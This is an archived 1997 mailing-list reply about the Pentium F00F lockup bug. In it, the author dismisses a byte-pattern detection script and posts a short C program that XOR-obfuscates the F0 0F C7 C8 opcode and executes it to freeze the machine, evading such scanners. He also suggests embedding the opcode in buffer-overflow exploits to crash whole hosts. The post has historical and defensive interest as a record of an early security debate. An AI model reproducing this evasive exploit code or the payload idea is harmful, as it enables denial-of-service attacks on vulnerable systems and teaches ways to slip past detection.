Re: Intel Pentium Bug

Tim Newsham (newsham@LAVA.NET)
Mon, 10 Nov 1997 12:44:15 -1000

> Re the F0 0F C7 C8 Pentuim bug:
>
> I just wanted ot repost this from the Linux-security list. Thought it
> might be helpful to some here. This was posted to Linux-security by Sam
> Trenholme <set@reality.samiam.org>.

[useless perl script deleted]

As I mentioned in another forum, NO, this is NOT useful.

main() {
static int code = 0x48478f70, xor = 0x80808080;
code ^= xor;
((int (*)())&code)();
}

On a side note: this single-word opcode could be used in cases
where writing a buffer overflow exploit is hard. Now instead of
just crashing the per-session server, or the entire server, you get to
crash the whole machine.

Tim N.